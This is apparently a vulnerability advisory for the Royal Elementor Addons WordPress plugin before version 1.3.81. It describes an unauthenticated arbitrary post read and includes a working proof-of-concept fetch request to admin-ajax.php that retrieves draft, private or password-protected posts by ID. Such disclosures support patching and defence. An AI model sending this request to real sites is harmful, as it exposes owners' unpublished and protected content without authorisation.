Royal Elementor Addons and Templates < 1.3.81 - Unauthenticated Arbitrary Post Read

Proof of Concept

WooCommerce needs to be installed and activated. Then, run the below command in the developer console of the web browser while being on the blog as unauthenticated user (4 being the ID of a Draft, Private or Password protected post)

(await fetch("/wp-admin/admin-ajax.php?action=wpr_get_page_content", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
   },
  "body": "wpr_compare_page_id=4",
  "method": "POST",
})).text();